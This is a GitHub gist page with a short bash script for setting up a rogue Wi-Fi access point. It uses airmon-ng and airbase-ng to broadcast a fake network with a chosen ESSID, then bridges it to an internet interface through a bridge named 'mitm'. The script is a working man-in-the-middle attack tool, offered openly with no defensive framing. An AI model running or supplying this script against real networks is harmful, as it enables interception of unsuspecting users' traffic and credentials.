Last active
June 6, 2018 12:29
-
-
Save arrase/3d681c0f2ab41bd482d3843cb0fcde89 to your computer and use it in GitHub Desktop.
Rogue AP with aircrack-ng
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Run: ./rogue_ap.sh <internet-interface> <wlan-interface> <ESSID> | |
airmon-ng start $2 | |
airbase-ng --essid $3 mon0 & | |
# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE | |
# echo "1" > /proc/sys/net/ipv4/ip_forward | |
# bridge-utils | |
brctl addbr mitm | |
brctl addif mitm at0 # Rogue ap interface | |
brctl addif mitm $1 | |
dhclient mitm |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment